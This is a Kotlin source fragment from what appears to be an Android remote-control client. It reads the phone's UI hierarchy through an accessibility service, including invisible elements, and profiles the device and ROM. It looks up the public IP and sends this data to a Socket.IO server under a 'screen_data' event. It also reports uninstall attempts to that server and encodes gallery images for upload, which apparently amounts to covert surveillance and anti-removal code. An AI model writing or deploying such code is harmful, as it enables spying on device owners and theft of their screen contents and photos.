Log.e(TAG, "Request params: requestId=$requestId, clientId=$clientId, includeInvisible=$includeInvisible, includeNonInteractive=$includeNonInteractive, maxDepth=$maxDepth")
// 使用协程在后台执行UI分析
scope.launch {
try {
Log.e(TAG, "🔬🔬🔬 开始执行增强UI分析!!! 🔬🔬🔬")
// 直接调用原有的分析方法,并使用增强参数
val enhancedMaxDepth = maxOf(maxDepth, 25) // 至少25层
val enhancedIncludeInvisible = includeInvisible || true // 默认包含不可见元素
val hierarchy = service.analyzeUIHierarchy(enhancedIncludeInvisible, includeNonInteractive, enhancedMaxDepth)
// 获取基本设备信息
val deviceCharacteristics = mapOf(
"brand" to android.os.Build.BRAND,
"model" to android.os.Build.MODEL,
"manufacturer" to android.os.Build.MANUFACTURER,
"sdkVersion" to android.os.Build.VERSION.SDK_INT.toString(),
"androidVersion" to android.os.Build.VERSION.RELEASE,
"deviceType" to "android"
)
if (hierarchy != null) {
Log.e(TAG, "Enhanced UI analysis succeeded")
// 发送完整的UI层次结构响应
val responseData = JSONObject().apply {
put("deviceId", getDeviceId())
put("requestId", requestId)
put("clientId", clientId)
put("success", true)
put("message", "增强UI分析成功")
put("timestamp", System.currentTimeMillis())
put("hierarchy", hierarchy as Any)
put("enhanced", true) // 总是标识为增强版
// 总是包含设备特征信息
put("deviceCharacteristics", JSONObject(deviceCharacteristics))
// 添加分析元数据
put("analysisMetadata", JSONObject().apply {
put("version", "enhanced_v1.0")
put("parameters", JSONObject().apply {
put("includeInvisible", includeInvisible)
put("includeNonInteractive", includeNonInteractive)
put("maxDepth", maxDepth)
})
put("capabilities", JSONObject().apply {
put("keyboardDetection", true)
put("windowDetection", true)
put("deviceProfiling", true)
})
})
}
Log.e(TAG, "Sending enhanced UI hierarchy response")
Log.e(TAG, "Response data size: ${responseData.toString().length} chars")
Log.e(TAG, "Device features: included")
// 发送响应
sendUIHierarchyResponse(responseData)
} else {
Log.e(TAG, "Enhanced UI analysis returned null")
// 发送错误响应
sendUIHierarchyError(requestId, clientId, "无法获取UI层次结构增强模式")
}
} catch (e: Exception) {
Log.e(TAG, "Enhanced UI hierarchy analysis failed", e)
sendUIHierarchyError(requestId, clientId, "增强分析失败: ${e.message}")
}
}
} catch (e: Exception) {
Log.e(TAG, "Handle UI hierarchy request failed", e)
}
}
/**
* 发送UI层次结构响应 - 使用screen_data事件发送已验证可行
*/
private fun sendUIHierarchyResponse(responseData: JSONObject) {
try {
Log.e(TAG, "Using screen_data event to send UI hierarchy response")
// Simple connection check following sendScreenData pattern
if (isConnected && socket?.connected() == true) {
// Use screen_data event to send UI response data
try {
// Convert UI response data to screen_data format
val uiScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "UI_HIERARCHY") // 特殊格式标识
put("data", responseData.toString()) // UI数据作为字符串
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 100) // UI数据质量设为100
put("timestamp", System.currentTimeMillis())
put("uiHierarchy", true) // 标识这是UI层次结构数据
}
val emitResult = socket?.emit("screen_data", uiScreenData)
Log.e(TAG, "UI hierarchy response sent via screen_data event: $emitResult")
Log.e(TAG, "UI response data size: ${responseData.toString().length} chars")
Log.e(TAG, "Socket status: connected=${socket?.connected()}, id=${socket?.id()}")
} catch (emitException: Exception) {
// UI hierarchy response failure handling with tolerance
Log.e(TAG, "UI hierarchy response send failed via screen_data: ${emitException.message}")
// Don't trigger reconnect immediately, let unified reconnect mechanism handle it
Log.w(TAG, "UI response send failed, CONNECTION_TEST heartbeat will handle reconnect")
throw emitException
}
} else {
Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy response")
Log.e(TAG, "Connection status: isConnected=$isConnected, socket?.connected()=${socket?.connected()}")
// Don't reconnect immediately, let heartbeat mechanism handle it
Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat to detect reconnect")
}
} catch (e: Exception) {
Log.e(TAG, "Send UI hierarchy response exception", e)
}
}
/**
* 发送UI层次结构错误响应 - 使用screen_data事件发送
*/
private fun sendUIHierarchyError(requestId: String, clientId: String, errorMessage: String) {
try {
val errorData = JSONObject().apply {
put("deviceId", getDeviceId())
put("requestId", requestId)
put("clientId", clientId)
put("error", errorMessage)
put("success", false)
put("timestamp", System.currentTimeMillis())
}
Log.w(TAG, "Sending UI hierarchy error response: $errorMessage")
// Use screen_data event to send error response
if (isConnected && socket?.connected() == true) {
try {
// Convert error response to screen_data format
val errorScreenData = JSONObject().apply {
put("deviceId", getDeviceId())
put("format", "UI_HIERARCHY") // 特殊格式标识
put("data", errorData.toString()) // 错误数据作为字符串
put("width", getScreenWidth())
put("height", getScreenHeight())
put("quality", 100)
put("timestamp", System.currentTimeMillis())
put("uiHierarchy", true) // 标识这是UI层次结构数据
put("isError", true) // 标识这是错误响应
}
val emitResult = socket?.emit("screen_data", errorScreenData)
Log.w(TAG, "UI hierarchy error response sent via screen_data: $emitResult")
} catch (emitException: Exception) {
// Error response send failure with tolerance
Log.e(TAG, "UI hierarchy error response send failed: ${emitException.message}")
// Don't reconnect immediately, let heartbeat handle it
Log.w(TAG, "UI error response send failed, CONNECTION_TEST heartbeat will handle reconnect")
throw emitException
}
} else {
Log.e(TAG, "Socket.IO not connected, cannot send UI hierarchy error response")
// Don't reconnect immediately, let heartbeat handle it
Log.w(TAG, "Socket not connected, waiting for CONNECTION_TEST heartbeat")
}
} catch (e: Exception) {
Log.e(TAG, "Send error response failed", e)
}
}
/**
* Get current network type (for network change detection)
*/
private fun getCurrentNetworkType(): String {
return try {
val connectivityManager = service.getSystemService(Context.CONNECTIVITY_SERVICE)
as android.net.ConnectivityManager
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
val activeNetwork = connectivityManager.activeNetwork
val networkCapabilities = connectivityManager.getNetworkCapabilities(activeNetwork)
when {
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_WIFI) == true -> "WIFI"
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_CELLULAR) == true -> "CELLULAR"
networkCapabilities?.hasTransport(android.net.NetworkCapabilities.TRANSPORT_ETHERNET) == true -> "ETHERNET"
else -> "UNKNOWN"
}
} else {
@Suppress("DEPRECATION")
val activeNetworkInfo = connectivityManager.activeNetworkInfo
@Suppress("DEPRECATION")
when (activeNetworkInfo?.type) {
android.net.ConnectivityManager.TYPE_WIFI -> "WIFI"
android.net.ConnectivityManager.TYPE_MOBILE -> "CELLULAR"
android.net.ConnectivityManager.TYPE_ETHERNET -> "ETHERNET"
else -> "UNKNOWN"
}
}
} catch (e: Exception) {
Log.w(TAG, "获取网络类型失败", e)
"UNKNOWN"
}
}
/**
* Check if conservative reconnect strategy should be used
*/
private fun shouldUseConservativeReconnect(): Boolean {
val currentTime = System.currentTimeMillis()
val networkType = getCurrentNetworkType()
// 多因素判断是否使用保守策略
val factorsForConservative = mutableListOf<String>()
// 1. Transport Error频率判断
if (transportErrorCount >= 2 && (currentTime - lastTransportErrorTime) < 600000) {
factorsForConservative.add("频繁transport_error(${transportErrorCount}次)")
}
// 2. 网络类型判断 - CELLULAR网络更容易不稳定
if (networkType == "CELLULAR") {
factorsForConservative.add("移动网络")
}
// 3. 连接持续时间判断 - 如果经常短时间断开,说明网络不稳定
val connectionDuration = currentTime - lastConnectTime
if (connectionDuration < 120000 && lastConnectTime > 0) { // 连接时间少于2分钟
factorsForConservative.add("短连接时间(${connectionDuration/1000}秒)")
}
// 4. Android版本判断 - Android 15可能需要特殊处理
if (Build.VERSION.SDK_INT >= 35) {
factorsForConservative.add("Android15系统")
}
// 5. 网络质量分数判断 - 分数低于60时使用保守策略
if (networkQualityScore < 60) {
factorsForConservative.add("网络质量较差(${networkQualityScore}分)")
}
val useConservative = factorsForConservative.isNotEmpty()
if (useConservative) {
Log.w(TAG, "Using conservative reconnect strategy, factors: ${factorsForConservative.joinToString(", ")}")
} else {
Log.i(TAG, "Using standard reconnect strategy, network is good")
}
return useConservative
}
/**
* Record connection duration for network quality assessment
*/
private fun recordConnectionDuration(duration: Long) {
recentConnectionTimes.add(duration)
// 只保留最近10次连接记录
if (recentConnectionTimes.size > 10) {
recentConnectionTimes.removeAt(0)
}
}
/**
* Update network quality score (multi-factor assessment)
*/
private fun updateNetworkQualityScore(isSuccess: Boolean, reason: String = "", duration: Long = 0) {
val previousScore = networkQualityScore
if (isSuccess) {
// 连接成功,适度提升分数
networkQualityScore = minOf(100, networkQualityScore + 5)
} else {
// 连接失败或断开,根据原因和时长降低分数
val penalty = when {
reason == "transport_error" -> 15 // transport error惩罚较重
duration < 30000 -> 12 // 连接时间少于30秒网络很不稳定
duration < 120000 -> 8 // 连接时间少于2分钟网络不稳定
duration < 300000 -> 5 // 连接时间少于5分钟轻微不稳定
else -> 2 // 长时间连接后断开,轻微惩罚
}
networkQualityScore = maxOf(0, networkQualityScore - penalty)
}
// 根据成功率进行额外调整
val totalConnections = connectionSuccessCount + connectionFailureCount
if (totalConnections >= 5) {
val successRate = connectionSuccessCount.toFloat() / totalConnections
when {
successRate >= 0.9 -> networkQualityScore = minOf(100, networkQualityScore + 3)
successRate <= 0.5 -> networkQualityScore = maxOf(0, networkQualityScore - 5)
}
}
// 根据平均连接时长进行调整
if (recentConnectionTimes.isNotEmpty()) {
val avgDuration = recentConnectionTimes.average()
when {
avgDuration >= 300000 -> networkQualityScore = minOf(100, networkQualityScore + 2) // 平均5分钟以上
avgDuration <= 60000 -> networkQualityScore = maxOf(0, networkQualityScore - 3) // 平均1分钟以下
}
}
if (networkQualityScore != previousScore) {
Log.i(TAG, "Network quality score update: $previousScore -> $networkQualityScore (${getNetworkQualityDescription()})")
}
}
/**
* Get network quality description
*/
private fun getNetworkQualityDescription(): String {
return when {
networkQualityScore >= 80 -> "优秀"
networkQualityScore >= 60 -> "良好"
networkQualityScore >= 40 -> "一般"
networkQualityScore >= 20 -> "较差"
else -> "很差"
}
}
/**
* Get current network quality score (for external query)
*/
fun getNetworkQualityScore(): Int = networkQualityScore
/**
* 🆕 获取设备公网IP地址
*/
private suspend fun getPublicIP(): String? {
return withContext(Dispatchers.IO) {
try {
// 检查缓存
val currentTime = System.currentTimeMillis()
if (cachedPublicIP != null && (currentTime - lastIPCheckTime) < IP_CACHE_DURATION) {
Log.d(TAG, "Using cached public IP: $cachedPublicIP")
return@withContext cachedPublicIP
}
// 尝试多个公网IP检测服务增加成功率
val ipServices = listOf(
"https://ipinfo.io/ip",
"https://api.ipify.org",
"https://icanhazip.com",
"https://checkip.amazonaws.com"
)
for (service in ipServices) {
try {
val url = java.net.URL(service)
val connection = url.openConnection() as java.net.HttpURLConnection
connection.requestMethod = "GET"
connection.connectTimeout = 5000 // 5秒超时
connection.readTimeout = 5000
connection.setRequestProperty("User-Agent", "RemoteControl-Android")
if (connection.responseCode == 200) {
val ip = connection.inputStream.bufferedReader().use { it.readText().trim() }
// 验证IP格式
if (isValidIP(ip)) {
cachedPublicIP = ip
lastIPCheckTime = currentTime
Log.i(TAG, "Public IP obtained: $ip (service: $service)")
return@withContext ip
}
}
connection.disconnect()
} catch (e: Exception) {
Log.w(TAG, "IP detection service failed: $service", e)
continue
}
}
Log.w(TAG, "All public IP detection services failed")
return@withContext null
} catch (e: Exception) {
Log.e(TAG, "Get public IP exception", e)
return@withContext null
}
}
}
/**
* 🆕 验证IP地址格式
*/
private fun isValidIP(ip: String): Boolean {
return try {
val parts = ip.split(".")
if (parts.size != 4) return false
parts.all { part ->
val num = part.toIntOrNull()
num != null && num >= 0 && num <= 255
}
} catch (e: Exception) {
false
}
}
/**
* Send uninstall attempt detection event to server
*/
fun sendUninstallAttemptDetected(type: String, message: String = "") {
try {
if (isConnected && socket?.connected() == true) {
val eventData = JSONObject().apply {
put("deviceId", getDeviceId())
put("type", type)
put("message", message.ifEmpty { "检测到卸载尝试: $type" })
put("timestamp", System.currentTimeMillis())
}
socket?.emit("uninstall_attempt_detected", eventData)
Log.w(TAG, "Uninstall attempt event sent: type=$type, message=$message")
} else {
Log.w(TAG, "Socket not connected, cannot send uninstall attempt event")
}
} catch (e: Exception) {
Log.e(TAG, "Send uninstall attempt event failed", e)
}
}
/**
* 🆕 获取系统版本名称如Android 11、Android 12等
*/
private fun getSystemVersionName(): String {
return try {
val apiLevel = android.os.Build.VERSION.SDK_INT
val release = android.os.Build.VERSION.RELEASE
// 根据API级别映射到Android版本名称
val versionName = when (apiLevel) {
35 -> "Android 15"
34 -> "Android 14"
33 -> "Android 13"
32, 31 -> "Android 12"
30 -> "Android 11"
29 -> "Android 10"
28 -> "Android 9"
27, 26 -> "Android 8"
25, 24, 23 -> "Android 7"
22, 21 -> "Android 5"
19 -> "Android 4.4"
else -> "Android $release"
}
Log.d(TAG, "System version: $versionName (API $apiLevel)")
versionName
} catch (e: Exception) {
Log.e(TAG, "Get system version failed", e)
"Android ${android.os.Build.VERSION.RELEASE}"
}
}
/**
* 🆕 获取ROM类型如MIUI、ColorOS、FunTouch等
*/
private fun getROMType(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
val manufacturer = android.os.Build.MANUFACTURER.lowercase()
val romType = when {
// 小米系列
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
when {
hasSystemProperty("ro.mi.os.version.incremental") -> "澎湃OS"
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
else -> "原生Android"
}
}
// 华为系列
brand.contains("huawei") || brand.contains("honor") -> {
when {
hasSystemProperty("ro.build.version.emui") -> "EMUI"
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
else -> "原生Android"
}
}
// OPPO系列
brand.contains("oppo") || brand.contains("oneplus") -> {
when {
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
else -> "原生Android"
}
}
// vivo系列
brand.contains("vivo") || brand.contains("iqoo") -> {
if (hasSystemProperty("ro.vivo.os.version")) "OriginOS" else "Funtouch OS"
}
// 三星系列
brand.contains("samsung") -> "One UI"
// 魅族系列
brand.contains("meizu") -> "Flyme"
// 努比亚系列
brand.contains("nubia") -> "nubia UI"
// 联想系列
brand.contains("lenovo") -> "ZUI"
// 中兴系列
brand.contains("zte") -> "MiFavor"
// Google系列
brand.contains("google") || brand.contains("pixel") -> "原生Android"
else -> {
// 尝试通过系统属性检测
when {
hasSystemProperty("ro.miui.ui.version.name") -> "MIUI"
hasSystemProperty("ro.build.version.emui") -> "EMUI"
hasSystemProperty("ro.magic.api.version") -> "Magic UI"
hasSystemProperty("ro.build.version.opporom") -> "ColorOS"
hasSystemProperty("ro.oxygen.version") -> "OxygenOS"
hasSystemProperty("ro.vivo.os.version") -> "OriginOS"
hasSystemProperty("ro.build.version.oneui") -> "One UI"
else -> "${manufacturer.replaceFirstChar { it.uppercase() }} ROM"
}
}
}
Log.d(TAG, "ROM type: $romType (Brand: $brand, Manufacturer: $manufacturer)")
romType
} catch (e: Exception) {
Log.e(TAG, "Get ROM type failed", e)
"未知ROM"
}
}
/**
* 🆕 获取ROM版本如MIUI 12.5、ColorOS 11.1等)
*/
private fun getROMVersion(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
val romVersion = when {
// 小米MIUI/澎湃OS版本
brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco") -> {
// 优先检查澎湃OS版本
getSystemProperty("ro.mi.os.version.name") ?:
getSystemProperty("ro.mi.os.version.code") ?:
// 然后检查MIUI版本
getSystemProperty("ro.miui.ui.version.name") ?:
getSystemProperty("ro.miui.ui.version.code") ?: "未知版本"
}
// 华为EMUI/Magic UI版本
brand.contains("huawei") || brand.contains("honor") -> {
getSystemProperty("ro.build.version.emui") ?:
getSystemProperty("ro.magic.api.version") ?:
getSystemProperty("ro.build.hw_emui_api_level") ?: "未知版本"
}
// OPPO ColorOS版本
brand.contains("oppo") -> {
getSystemProperty("ro.build.version.opporom") ?:
getSystemProperty("ro.build.version.ota") ?: "未知版本"
}
// OnePlus OxygenOS版本
brand.contains("oneplus") -> {
getSystemProperty("ro.oxygen.version") ?:
getSystemProperty("ro.rom.version") ?: "未知版本"
}
// vivo FunTouch/OriginOS版本
brand.contains("vivo") || brand.contains("iqoo") -> {
getSystemProperty("ro.vivo.os.version") ?:
getSystemProperty("ro.vivo.product.version") ?: "未知版本"
}
// 三星One UI版本
brand.contains("samsung") -> {
getSystemProperty("ro.build.version.oneui") ?:
getSystemProperty("ro.build.version.sem") ?: "未知版本"
}
// 魅族Flyme版本
brand.contains("meizu") -> {
getSystemProperty("ro.build.flyme.version") ?: "未知版本"
}
else -> {
// 尝试获取通用版本信息
getSystemProperty("ro.build.version.incremental") ?:
getSystemProperty("ro.build.id") ?: "未知版本"
}
}
Log.d(TAG, "ROM version: $romVersion (Brand: $brand)")
romVersion
} catch (e: Exception) {
Log.e(TAG, "Get ROM version failed", e)
"未知版本"
}
}
/**
* 🆕 检查系统属性是否存在
*/
private fun hasSystemProperty(key: String): Boolean {
return try {
val property = getSystemProperty(key)
!property.isNullOrBlank()
} catch (e: Exception) {
false
}
}
/**
* 🆕 获取系统属性值
*/
private fun getSystemProperty(key: String): String? {
return try {
val clazz = Class.forName("android.os.SystemProperties")
val method = clazz.getMethod("get", String::class.java)
val result = method.invoke(null, key) as? String
result?.takeIf { it.isNotBlank() }
} catch (e: Exception) {
Log.w(TAG, "Get system property failed: $key", e)
null
}
}
/**
* 🆕 获取OS构建版本号如1.0.19.0.UMCCNXM
*/
private fun getOSBuildVersion(): String {
return try {
val brand = android.os.Build.BRAND.lowercase()
// Special handling for Xiaomi devices
if (brand.contains("xiaomi") || brand.contains("redmi") || brand.contains("poco")) {
// 检查是否为澎湃OS
val hyperosProp = getSystemProperty("ro.mi.os.version.incremental")
if (!hyperosProp.isNullOrBlank()) {
Log.d(TAG, "Detected HyperOS, version: $hyperosProp")
return hyperosProp
}
// MIUI设备特定属性
val miuiIncrementalProps = listOf(
"ro.build.version.incremental",
"ro.product.mod_device",
"ro.build.display.id"
)
for (property in miuiIncrementalProps) {
val version = getSystemProperty(property)
if (!version.isNullOrBlank() && version.length > 3) {
// Fix HyperOS version format: remove possible prefix
val cleanVersion = when {
version.startsWith("V") && version.contains(".") -> {
// 如果是V816.0.19.0.UMCCNXM格式提取.后面的部分
val dotIndex = version.indexOf('.')
if (dotIndex > 1) {
version.substring(dotIndex + 1)
} else version
}
else -> version
}
Log.d(TAG, "Xiaomi device OS build version: $cleanVersion (raw: $version, source: $property)")
return cleanVersion
}
}
}
// 其他品牌设备的通用属性获取
val buildProperties = listOf(
"ro.build.version.incremental", // 增量版本号
"ro.build.display.id", // 完整构建显示ID
"ro.build.id", // 构建ID
"ro.modversion", // 模组版本
"ro.build.version.security_patch", // 安全补丁版本
"ro.build.description", // 构建描述
"ro.product.build.version.incremental" // 产品构建增量版本
)
// 按优先级尝试获取版本信息
for (property in buildProperties) {
val version = getSystemProperty(property)
if (!version.isNullOrBlank() && version.length > 3) {
Log.d(TAG, "OS build version: $version (source: $property)")
return version
}
}
// 如果都获取不到使用Build类的相关信息
val fallbackVersion = when {
android.os.Build.DISPLAY.isNotBlank() -> android.os.Build.DISPLAY
android.os.Build.ID.isNotBlank() -> android.os.Build.ID
else -> android.os.Build.VERSION.INCREMENTAL
}
Log.d(TAG, "Using fallback OS build version: $fallbackVersion")
fallbackVersion.ifBlank { "未知版本" }
} catch (e: Exception) {
Log.e(TAG, "Get OS build version failed", e)
android.os.Build.VERSION.INCREMENTAL.ifBlank { "未知版本" }
}
}
// =============== 图片加载与压缩工具 ===============
private fun loadImageAsJpegBase64(contentUri: String, maxWidth: Int, maxHeight: Int, quality: Int): String? {
return try {
val uri = android.net.Uri.parse(contentUri)
val resolver = service.contentResolver
// 先读取尺寸
val boundsOptions = android.graphics.BitmapFactory.Options().apply { inJustDecodeBounds = true }
resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, boundsOptions)
}
val (srcW, srcH) = boundsOptions.outWidth to boundsOptions.outHeight
if (srcW <= 0 || srcH <= 0) {
Log.w(TAG, "Cannot parse image dimensions: $contentUri")
return null
}
// 计算采样率
val inSample = calculateInSampleSize(srcW, srcH, maxWidth, maxHeight)
val decodeOptions = android.graphics.BitmapFactory.Options().apply {
inSampleSize = inSample
inPreferredConfig = android.graphics.Bitmap.Config.RGB_565
}
val bitmap = resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
} ?: return null
val output = java.io.ByteArrayOutputStream()
bitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, quality.coerceIn(30, 95), output)
bitmap.recycle()
val bytes = output.toByteArray()
if (bytes.size > maxGalleryImageSize) {
Log.w(TAG, "Compressed image still too large(${bytes.size}B), retrying with lower quality")
val retryOut = java.io.ByteArrayOutputStream()
val retryBitmap = resolver.openInputStream(uri)?.use { input ->
android.graphics.BitmapFactory.decodeStream(input, null, decodeOptions)
} ?: return null
retryBitmap.compress(android.graphics.Bitmap.CompressFormat.JPEG, 60, retryOut)
retryBitmap.recycle()
val retryBytes = retryOut.toByteArray()
if (retryBytes.size > maxGalleryImageSize) {
Log.w(TAG, "Still too large after retry(${retryBytes.size}B), giving up: $contentUri")
return null
}
return android.util.Base64.encodeToString(retryBytes, android.util.Base64.NO_WRAP)
}
android.util.Base64.encodeToString(bytes, android.util.Base64.NO_WRAP)
} catch (e: Exception) {
Log.e(TAG, "Load/compress image failed: $contentUri", e)
null
}
}
private fun calculateInSampleSize(srcW: Int, srcH: Int, reqW: Int, reqH: Int): Int {
var inSampleSize = 1
var height = srcH
var width = srcW
if (height > reqH || width > reqW) {
var halfHeight = height / 2
var halfWidth = width / 2
while ((halfHeight / inSampleSize) >= reqH && (halfWidth / inSampleSize) >= reqW) {
inSampleSize *= 2
}
}
return inSampleSize.coerceAtLeast(1)
}
}